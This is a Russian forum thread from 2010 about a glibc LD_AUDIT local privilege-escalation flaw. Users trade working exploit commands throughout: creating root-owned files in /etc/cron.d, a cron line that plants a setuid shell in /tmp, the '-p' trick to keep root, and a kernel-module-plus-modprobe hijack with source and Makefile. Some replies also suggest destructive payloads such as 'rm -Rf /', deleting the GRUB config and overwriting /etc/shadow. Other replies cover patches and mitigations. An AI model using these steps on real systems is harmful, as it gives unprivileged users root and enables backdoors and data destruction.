URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 71714
[ Назад ]

Исходное сообщение
"Для Glibc представлен еще один метод повышения привилегий"

Отправлено opennews , 23-Окт-10 10:08 
Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости (http://www.opennet.me/opennews/art.shtml?num=28338), сообщается (http://seclists.org/fulldisclosure/2010/Oct/344) о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно собщается (http://www.openwall.com/lists/announce/2010/10/22/1), что проблеме не подвержена glibc из состава OpenWall (http://www.openwall.com/) и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".


По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для кото...

URL: http://seclists.org/fulldisclosure/2010/Oct/344
Новость: http://www.opennet.me/opennews/art.shtml?num=28390


Содержание

Сообщения в этом обсуждении
"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Зенитар , 23-Окт-10 10:17 
> ALT

Yes! У разработчиков прямые руки, да и сам дистрибутив хороший.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Michael Shigorin , 24-Окт-10 15:23 
Это всё Дима Левин (ldv@).

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Andrei , 25-Окт-10 05:45 
>> ALT
> Yes! У разработчиков прямые руки, да и сам дистрибутив хороший.

Если у них прямые руки, то почему их Simple Linux при установке зависает наглухо на этапе копирования файлов и, естественно, не ставится вообще? Сам пробовал, и знакомые то же самое говорят. Увы.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено ImPressed , 23-Окт-10 10:25 
В Генте не пашет. Только что проверил

impressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
impressed@satan ~ $ ls -al /etc/cron.d
cron.d/     cron.daily/ cron.deny  
impressed@satan ~ $ ls -al /etc/cron.d/
итого 16
drwxr-xr-x   2 root root  4096 Апр 11  2010 .
drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
-rw-r--r--   1 root root     0 Апр 11  2010 .keep_sys-process_vixie-cron-0
impressed@satan ~ $ LD_AUDIT="libprocfile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libprocfile.so' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
impressed@satan ~ $ ls -al /etc/cron.d/
итого 16
drwxr-xr-x   2 root root  4096 Апр 11  2010 .
drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..
-rw-r--r--   1 root root     0 Апр 11  2010 .keep_sys-process_vixie-cron-0

Очередной высосанный из пальца баг


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 10:42 
А версия glibc какая?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено ImPressed , 23-Окт-10 10:51 
> А версия glibc какая?

impressed@satan ~ $ /lib/libc-2.12.1.so
GNU C Library stable release version 2.12.1, by Roland McGrath et al.
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.3.
Compiled on a Linux 2.6.30 system on 2010-08-20.
Available extensions:
        C stubs add-on version 2.1.2
        crypt add-on version 2.1 by Michael Glad and others
        Gentoo patchset 2
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B                                                                                                                                      
libc ABIs: UNIQUE IFUNC                                                                                                                                      
For bug reporting instructions, please see:                                                                                                                  
<http://www.gnu.org/software/libc/bugs.html>.  &...
impressed@satan ~ $                    


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 10:53 
>libc-2.12.1
>новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Zenitur , 23-Окт-10 11:32 
Версия 2.12 новее версии 2.4. Легко запутаться. Да я и сам запутался...

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Ананимуз , 23-Окт-10 11:37 
Что-то мне подсказывает, что 2.12 более поздняя, чем 2.4.
Gentoo, libc-2.11.2, работает.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Dmitriy , 23-Окт-10 12:49 
gentoo, glibc 2.10.1-r1

bazil@k4 ~ $ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 880920 Oct 23 11:45 /tmp/exploit
bazil@k4 ~ $ /tmp/exploit
exploit-4.0$ whoami
bazil
exploit-4.0$

вот так.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 13:19 
> вот так.

Шелл сбрасывает привилегии, если uid не равен euid. /tmp/exploit -p в помощь. И неужели вас не смущает setuid-экзешник в /tmp и файл кронтаба в /etc/cron.d? Добавьте в /etc/cron.d/exploit rm -Rf / и кусайте локти.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено alexxy , 23-Окт-10 17:02 
В генте не работает ;)
x201 ~ # /lib64/libc-2.12.1.so
GNU C Library stable release version 2.12.1, by Roland McGrath et al.
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.4.4.
Compiled on a Linux 2.6.35 system on 2010-09-20.
Available extensions:
        C stubs add-on version 2.1.2
        crypt add-on version 2.1 by Michael Glad and others
        Gentoo patchset 3
        GNU Libidn by Simon Josefsson
        Native POSIX Threads Library by Ulrich Drepper et al
        BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.

alexxy@x201 ~ $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
alexxy@x201 ~ $ ls -l /etc/cron.d/exploit
-rw-r--r-- 1 root alexxy 4 Окт 23 17:01 /etc/cron.d/exploit

Так что файл то оно создало... Но записать в него может тока рут ;)
а дальше играйте лесом как хотите


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено filosofem , 23-Окт-10 18:34 
umask 0 забыл

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено alexxy , 23-Окт-10 19:47 
Ну с umask 0 /* который я действительно забыл */
файл становится rw rw rw но это сути не меняет так как у меня vixie-cron и он всё равно не выполнится. к тому же у меня все разделы что не должны содержать исполняемых файлов девайсов суид и тп смонтированы с соответствующими флагами =) так что 90% локальных уязвимостей идут лесом

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено User294 , 24-Окт-10 00:47 
> у меня vixie-cron и он всё равно не выполнится.

А знаете, если я могу записать в любой файл в ОС - я определенно там сделаю что угодно :)

> к тому же у меня все разделы что не должны содержать исполняемых файлов
> девайсов суид и тп смонтированы с соответствующими флагами =) так что
> 90% локальных уязвимостей идут лесом

А это не принципиально. Если можно писать вам в /etc и т.п. файлы - можно сделать с системой все что угодно. Прописавшись в стартовые скрипты, конфиг крона, etc, etc. Возможностей масса. В общем случае если кто поимел привилегированный доступ к ФС - это уже опаньки.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено alexxy , 24-Окт-10 02:27 
Это то понятно ;) если есть возможность записи в произвольные места то напакостить мона много чего. Но в данном конкретном случае shell вы не получите ;)

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 24-Окт-10 03:38 
> Это то понятно ;) если есть возможность записи в произвольные места то
> напакостить мона много чего. Но в данном конкретном случае shell вы
> не получите ;)

Не в данном случае, а данным способом. В разного рода смелых заявлениях вы не одиноки. :) Например:

<taviso> "I should also mention that in your latest advisory, you said that the umask was inherited.  That does not seem to be true on RHEL/CentOS.
<taviso> "
<taviso> wtf
<d-b> comes with paranoia included
<drosenbe> wait, what?
<taviso> i do not have time to teach these noobs basic UNIX
<taviso> after sending me three emails demanding i look at his srpm
<d-b> taviso: you are truely awesome
<tronyx> taviso: lovely
<taviso> d-b: uhh, thanks :-.
<taviso> sorry, was a bit out of context, he was very demanding and rude..then made this statement hehe
<taviso> :)
<taviso> just needed to vent :)
<spender> haha
<spender> tavis
<jono> just tell him he's correct and doesnt need to patch

;)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено taaroa , 24-Окт-10 07:41 
<taviso> i do not have time to teach these noobs basic UNIX
<taviso> after sending me three emails demanding i look at his srpm

...вспомнился гениальный ext4_own by spender.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено anonymous , 23-Окт-10 12:50 
У тебя просто не установлен glibc-utils

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 14:28 
Исправь libprocfile.so на libpcprofile.so и все заработает, сам использую gentoo и в этот раз не поленился докопаться до сути полностью, предыдущий вариант получения root через glibc у меня не получился.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 14:35 
Да, не долго радовался:
Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons )
Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 17:27 
> Да, не долго радовался:
> Oct 23 14:30:01 gentoo-book cron[5251]: (root) CMD (test -x /usr/sbin/run-crons && /usr/sbin/run-crons
> )
> Oct 23 14:31:01 gentoo-book cron[4327]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

Например, вместо /etc/cron.d/exploit создайте /etc/logrotate.d/exploit или /etc/shadow, главное файл создается, а остальное уже от фантазии зависит.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 17:02 
> drwxr-xr-x 122 root root 12288 Окт 23 12:21 ..

А чёй-то у тя директория имеет время более позднее чем созданное тут сообщение?


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено КО , 23-Окт-10 22:04 
Есть такое понятие - часовой пояс. И их много.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено ImPressed , 23-Окт-10 10:25 
Что-то у меня как-то ни чего не появляется в /etc/cron.d

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 10:37 
> Что-то у меня как-то ни чего не появляется в /etc/cron.d

Это proof of concept, и если он не работает, это говорит о непригодности эксплойта, но не гарантирует отсутствие уязвимости.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 10:49 
У меня в дженту с последними апдейтами работает

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено ImPressed , 23-Окт-10 10:53 
> У меня в дженту с последними апдейтами работает

У меня не работает.

Версия 2.12.1 с patchset 2


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Zenitur , 23-Окт-10 11:33 
> У меня в дженту с последними апдейтами работает

Апдейты не последние (неосновной дистрибутив) - не работает.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено поцанчик , 23-Окт-10 11:37 
у меня арч с glibc 2.12.1 и пример не работает

Сначало я ра надостях начал исполнять команды в консоле, и всё прошло успешно.
но потом заметил что это у меня рутовая консоль... :-[


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 11:46 
libc-2.12.1.so:

[test@myhost ~]$ uname -a
Linux myhost 2.6.35-ARCH #1 SMP PREEMPT Wed Sep 29 07:17:20 UTC 2010 i686 Intel(R) Core(TM)2 Duo CPU T5750 @ 2.00GHz GenuineIntel GNU/Linux
[test@myhost ~]$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-m mark] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[test@myhost ~]$ ls /etc/cron.d
exploit


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 12:04 
centos-5.5 давно не обновляемая  64битная версия
не работает

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено AX , 23-Окт-10 12:18 
В Арче работает.

% pacman -Qi glibc
Название              : glibc
Версия                : 2.12.1-2


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено аноним , 23-Окт-10 13:01 
У меня в Арче файл /etc/cron.d/exploit создаётся с правами -rw-rw-rw-
crond прописан в /etc/rc.conf и запускается при загрузке системы.
$ less /etc/cron.d/exploit
* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit

но вот cron не исполняет то что указано в /etc/cron.d/exploit
$ ls -l /tmp/exploit
ls: невозможно получить доступ к /tmp/exploit: Нет такого файла или каталога


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено stranger , 23-Окт-10 13:37 
Аналогично

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено stranger , 23-Окт-10 13:39 
Debian Squeeze with latest updates


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено eigrad , 23-Окт-10 14:56 
нужно +x чтобы исполнялось, но это не важно - дырка же есть...

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено аноним , 23-Окт-10 15:02 
зачем этому файлу право на исполнение когда в нём просто хранится текстовая строка, которую cron должен прочитать и выполнить действия которые в этой строке указаны.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 13:02 
Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):
http://sourceware.org/cgi-bin/get-raw-msg?listname=libc-hack...

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 13:04 
> Патч с заплаткой, работает для glibc-2.12.1 в Gentoo (проверено только с USE=hardened):

Пардон, в 2.11.2. :) Другие версии не смотрел.



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Иван Иванович Иванов , 23-Окт-10 13:49 
Fedora 13 update: https://admin.fedoraproject.org/updates/glibc-2.12.1-4

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 14:10 
*пошёл ставить selinux*

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Stax , 23-Окт-10 14:25 
А вот, кстати, да. Ведь selinux политика на cron (которая включена по дефолту и в редхате, и в федоре) запретит крону обрабатывать файл без контекста system_cron_spool_t.
Т.е. на реальном продакшене на редхате или центоси, где по дурости не выключили selinux, баг работать не будет.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 15:09 
> Т.е. на реальном продакшене на редхате или центоси, где по дурости не
> выключили selinux, баг работать не будет.

Вы путаете баг и PoC-эксплойт.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено eigrad , 23-Окт-10 15:04 
proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен в нормальной системе не заставишь его исполняться, хоть что ты делай

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено eigrad , 23-Окт-10 15:05 
> proof of concept достаточно хилый, подумаешь создали файл от рута, один хрен
> в нормальной системе не заставишь его исполняться, хоть что ты делай

но уязвимость в наличии, тут не поспоришь. РЕШЕТО!


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Аноним , 23-Окт-10 19:58 
имеется возможность создать любой файл в любом месте.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Pentarh , 25-Окт-10 20:47 
Создали файл в /etc/cron.d

Потом благодаря аттрибутам 666, записали такое в него

* * * * * root /tmp/mybackdoor.bin > /dev/null

И через минуту бекдор от рута висит в памяти.

достаточно хилый?


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 15:21 
uname -a
Linux ***************** 2.6.36-gentoo #1 SMP PREEMPT Thu Oct 21 20:45:59 MSD 2010 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linux

eix -I glibc
sys-libs/glibc
     Available versions:  (2.2)

*2.2.5-r10!s 2.5-r4!s **2.5.1!s 2.6.1!s (~)2.7-r2!s 2.8_p20080602-r1!s 2.9_p20081201-r2!s (~)2.9_p20081201-r3!s 2.10.1-r1!s 2.11.2!s (~)2.11.2-r1!s (~)2.12.1-r1!s{tbz2}
        {build crosscompile_opts_headers-only debug gd glibc-compat20 glibc-omitfp hardened multilib nls nptl nptlonly profile selinux vanilla}
     Installed versions:  2.12.1-r1(2.2)!s{tbz2}(12:06:18 21.09.2010)(multilib nls profile -crosscompile_opts_headers-only -debug -gd -glibc-omitfp -hardened -selinux -vanilla)
     Homepage:            http://www.gnu.org/software/libc/libc.html
     Description:         GNU libc6 (also called glibc2) C library

там, наверное, ошибка? не /bin/dash, а /bin/bash ?

$ /tmp/exploit
exploit-4.1$            

не работает, короче :)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 15:30 
Хотя, не... не ошибка

* app-shells/dash
     Available versions:  0.5.5.1.2 (~)0.5.5.1.7 {libedit static}
     Homepage:            http://gondor.apana.org.au/~herbert/dash/
     Description:         DASH is a direct descendant of the NetBSD version of ash (the Almquist SHell) and is POSIX compliant

только вот он у меня НЕ УСТАНОВЛЕН. Он мне нужен?
Вобщем, уязвимость, вероятно, проявляется в определенных условиях. Не В МОИХ. :)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено meego , 23-Окт-10 15:32 
Зачем тебе линукс, если ты не понимаешь, что делаешь?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено PavelR , 23-Окт-10 17:15 
Ты маленько не понимаешь того простого факта, что имея в руках запуск кроном твоего скрипта - поставить этот самый недостающий dash - раз плюнуть. Потом имеешь шелл.

А ты упираешься: "а зачем мне в системе левый пакет". Да хоть есть пакет, хоть нету - возможность получения рутового шелла не пропадает.

Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который описан в новости, но мы можешь продолжать упираться.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 18:36 
> Ты маленько не понимаешь того простого факта, что имея в руках запуск
> кроном твоего скрипта - поставить этот самый недостающий dash - раз
> плюнуть. Потом имеешь шелл.
> А ты упираешься: "а зачем мне в системе левый пакет". Да хоть
> есть пакет, хоть нету - возможность получения рутового шелла не пропадает.
> Это действительно пруф-оф-концепт, который можно юзать не только тем способом, который
> описан в новости, но мы можешь продолжать упираться.

echo "app-shells/dash" >> /etc/portage/package.mask/app-shells

что раньше появилось, яйцо или курица?


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено PavelR , 23-Окт-10 19:25 
>что раньше появилось, яйцо или курица?

точно знаю что раньше куриц появились бараны.

по теме:

А можно так.

$ printf "* * * * * root rm /etc/portage/package.mask/app-shells\n" > /etc/cron.d/exploit

или что там надо с файлом /etc/portage/package.mask/app-shells сделать. Делать с ним можно уже что угодно. dash - это только такой шелл. Шелл может быть любым.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 19:44 
>>что раньше появилось, яйцо или курица?
> точно знаю что раньше куриц появились бараны.
> по теме:
> А можно так.
> $ printf "* * * * * root rm /etc/portage/package.mask/app-shells\n" > /etc/cron.d/exploit
> или что там надо с файлом /etc/portage/package.mask/app-shells сделать. Делать с ним можно
> уже что угодно. dash - это только такой шелл. Шелл может
> быть любым.

поставил dash
Oct 23 19:43:01 kids cron[2257]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)
все равно не работает!


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 19:51 
если с /bin/bash не сработало, с /bin/dash не сработало, почему оно должно сработать с чем-то другим?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено PavelR , 23-Окт-10 20:38 

При чем тут шелл ?

/etc/cron.d/exploit  создался ?

Команды выполняет ?

Хорошо.

Сделай

printf "* * * * * root rm /boot/grub/menu.lst\n" > /etc/cron.d/exploit

И перезагрузись, чтоли.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 20:48 
$ cat /proc/mounts | grep boot

/dev/sda1 /boot xfs ro,sync,nodev,relatime 0 0

RO видишь...  :-P



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено zZz , 23-Окт-10 22:51 

рутом можно и

mount -o rw,remount /boot

сделать.

Ищщо вопросы ?


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 24-Окт-10 00:36 
> рутом можно и
> mount -o rw,remount /boot
> сделать.

Поздно, сначала надо было писать.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено User294 , 24-Окт-10 01:03 
> RO видишь...  :-P

Эээ ты надеешься законопатить доступ в систему "без пяти минут root'у"? Или к чему это? :) Ну разве что у тебя носитель физически readonly :)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 24-Окт-10 01:32 
>> RO видишь...  :-P
> Эээ ты надеешься законопатить доступ в систему "без пяти минут root'у"? Или
> к чему это? :) Ну разве что у тебя носитель физически
> readonly :)

Ладно, проехали, поболтали и будя... Да, есть рут - считай п...ц системе.


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено paxuser , 23-Окт-10 15:36 
> $ /tmp/exploit
> exploit-4.1$

/tmp/exploit -p



"Для Glibc представлен еще один метод повышения привилегий"
Отправлено V , 23-Окт-10 15:43 
~$ ls -l /etc/cron.d
total 4
-rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploit

файлик-то создаётся.. но толку от него никакого, ибо стоит cronie:

Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено Андрей , 23-Окт-10 16:08 
> ~$ ls -l /etc/cron.d
> total 4
> -rw-rw-r-- 1 root root 4 2010-10-23 15:35 exploit
> файлик-то создаётся.. но толку от него никакого, ибо стоит cronie:
> Oct 23 15:36:01 [/usr/sbin/crond] (root) BAD FILE MODE (/etc/cron.d/exploit)

аналогично. но у меня vixie-cron:
Oct 23 14:19:01 andrewisakov cron[3520]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 17:26 
На /etc/cron.d/exploit должны быть права 644, чтобы cron не ругался.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 17:37 
А 044 нафига?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено daevy , 23-Окт-10 17:46 
неа((( файло не создается, в логе крона тишина

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено daevy , 23-Окт-10 17:36 
+1 та же байда
Linux deceiver 2.6.35-gentoo #31 SMP Sat Sep 18 01:38:57 UTC 2010 x86_64 AMD Athlon(tm) 64 X2 Dual-Core Processor TK-55 AuthenticAMD GNU/Linux

cron[2185]: (*system*) BAD FILE MODE (/etc/cron.d/exploit)

vixie-cron-4.1-r10


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 17:29 
# tailf /var/log/messages

Oct 23 16:57:01 suse64 /usr/sbin/cron[1577]: (system_u) BAD FILE MODE (/etc/cron.d/exploit)

Упс... :)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено linux_must_die , 23-Окт-10 17:35 
дык это ж selinux.отключи и познай безграничное дао

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 17:36 
В общем, на funtoo:
1. Права на /etc/cron.d/exploit должны быть 644, иначе vixie-cron его в упор не видит. А создаётся сплойт с 666.

2. Поправил права сам, cron отработал (/bin/bash в /tmp/exploit):
-rwsr-xr-x 1 root root 893208 Окт 23 17:26 /tmp/exploit

3. $ /tmp/exploit
exploit-4.1$
exploit-4.1$ whoami
user

Ну не работает в funtoo setuid  (:


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 18:31 
FEATURES="sfperms" по умолчанию

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено 666joy666 , 23-Окт-10 18:28 
userx@i13 ~ $ umask 0
userx@i13 ~ $ ls /etc/cron.d
cron.d/     cron.daily/ cron.deny  
userx@i13 ~ $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
userx@i13 ~ $ ls /etc/cron.d -l
итого 4
-rw-rw-rw- 1 root plugdev 4 Окт 23 17:22 exploit
userx@i13 ~ $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
userx@i13 ~ $ cat /etc/cron.d/exploit
* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit
P.S Glibc 2.12.1-r1, Gentoo

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 19:06 
А я веселее придумал...
Идем домой,
$ cd ~
Пишем дружественный модуль

pavel@suse64:~> cat /home/pavel/fake.c
----
#include <linux/version.h>
#include <linux/module.h>

int fake_init(void ) {
    printk(KERN_DEBUG "FAKE ME\n");
    return 0;
}

module_init(fake_init);
---

pavel@suse64:~> cat ~/Makefile
---
obj-m := fake.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
---

pavel@suse64:~> make

make -C /lib/modules/2.6.36+/build M=/home/pavel/ modules
make[1]: Entering directory `/media/kernel/linux-2.6'
  CC [M]  /home/pavel/fake.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pavel/fake.mod.o
  LD [M]  /home/pavel/fake.ko
make[1]: Leaving directory `/media/kernel/linux-2.6'

----
Добавляемся в modprobe:

pavel@suse64:~> LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/modprobe.d/99-fake.conf" ping

ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

pavel@suse64:~> ls  /etc/modprobe.d/99-fake.conf
/etc/modprobe.d/99-fake.conf

Находим модули которые грузятся автоматом, выбираем любимый и вписываемся:

pavel@suse64:~> printf "install nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;\n" > /etc/modprobe.d/99-fake.conf
pavel@suse64:~> cat  /etc/modprobe.d/99-fake.conf

install nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;

Ребутимся... Но можно чёнить придумать без ребута, например при всовывание блютуз свистка
загрузится какой-нить bt_mod ... в общем по месту....

И так, перегрузились...

$ dmesg | grep FAKE
FAKE ME

мля....

pavel@suse64:~> lsmod
Module                  Size  Used by
nvidia              10021096  28
fake                     719  0 [permanent]


Йопт...


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 19:13 
А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 19:18 
> А, например, в /etc/profile.d/boo.sh "rm -rf /" запихнуть не проще будет?

Запихнуть можно, но нужно чтоб его оттуда кто-то вызвал. Причём с правами рута.

В общем, эта дыра хороший тест - "Насколько я хорошо знаю как работает Linux!" :)


"Для Glibc представлен еще один метод повышения привилегий"
Отправлено aNoN , 23-Окт-10 19:24 
При том же рестарте системы он отработает. Или при логине рута.

"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux , 23-Окт-10 20:11 
> При том же рестарте системы он отработает. Или при логине рута.

Да не работает оно само! Там наборы переменных и функций башовских,
их надо включать и вызывать  

Speшаl фо you

pavel@suse64:~> cat /etc/profile.d/boo.sh

#!/bin/bash

echo "ЖОПА" > /DJOPA

---

# init 6

...

#  ls -pa /
